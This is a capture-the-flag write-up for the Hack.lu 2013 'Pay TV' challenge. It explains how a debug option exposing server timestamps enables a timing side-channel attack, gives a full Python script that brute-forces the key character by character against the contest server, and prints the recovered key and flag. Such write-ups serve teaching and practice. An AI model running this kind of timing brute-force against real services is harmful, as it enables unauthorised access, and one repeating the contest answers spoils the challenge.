Hack.lu 2013: Pay TV

These robo-friends were shocked to see that they had to pay to watch the news broadcast about the “Oktoberfest”. Can you help them?
Here is your challenge: https://ctf.fluxfingers.net:1316/

The sourcecode in the key.js tells us about POSTing the key to /gimmetv, and gives a hint on a ‘debug’ option. This added a ‘start’ and ‘stop’ timestamp to the JSON encoded answer. If you look closely, the backgroundimage containes a hint: ‘sidechannel attacks’

Some research made clear: this must be about timing.

By playing around with some strings, we found that strings starting with ‘A’ took 100ms longer than the others. Probably the server adds 100ms per correct char, so we had to brute-froce the correct key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python

import string
import httplib
import urllib
import json
import math

con = httplib.HTTPSConnection("ctf.fluxfingers.net:1316")
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}

def step(solution, timing):
  for c in string.ascii_letters+string.digits:

    params = urllib.urlencode({'debug': True, 'key': solution+c})
    con.request("POST", "/gimmetv", params, headers)
    j = json.loads(con.getresponse().read())
    if j['success']:
      print solution+c
      print j['response']
      return
    else:
      diff = math.floor((j['end']*1000 - j['start']*1000)/10)*10

      if diff > timing:
        print solution+c
        step(solution+c, diff)
        return

step('', 0)

A few minutes later, our script printed the correct key and the flag:

1
2
AXMNP93
OH_THAT_ARTWORK!